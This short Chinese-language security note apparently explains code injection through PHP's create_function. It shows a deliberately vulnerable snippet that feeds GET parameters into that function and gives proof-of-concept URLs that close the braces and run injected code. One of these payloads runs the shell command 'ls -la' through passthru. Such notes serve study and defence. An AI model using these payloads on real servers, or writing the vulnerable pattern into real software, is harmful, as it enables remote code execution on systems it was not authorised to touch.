1. <?php
    2. create_function($_GET['args'], $_GET['code']);
    3. ?>

    由于create_fucnction函数底层的原因,导致恶意注入的代码可以闭合传入两个参数的大括号,从而逃逸,导致恶意代码注入
    详情:https://tricking.io/card/34/content
    1.如果可控在第一个参数,需要闭合圆括号和大括号:create_function(‘){}phpinfo();//‘, ‘’);
    即poc为

    1. http://x.x.x.x/xx.php?args=){}phpinfo();//&code=

    image.png

    1. http://192.168.243.135/cr.php?args=){}eval("passthru('ls -la');");//&code=

    执行命令
    image.png
    2.如果可控在第二个参数,需要闭合大括号:create_function(‘’, ‘}phpinfo();//‘);
    即poc为

    1. http://x.x.x.x/xx.php?args=&code=}phpinfo();//

    image.png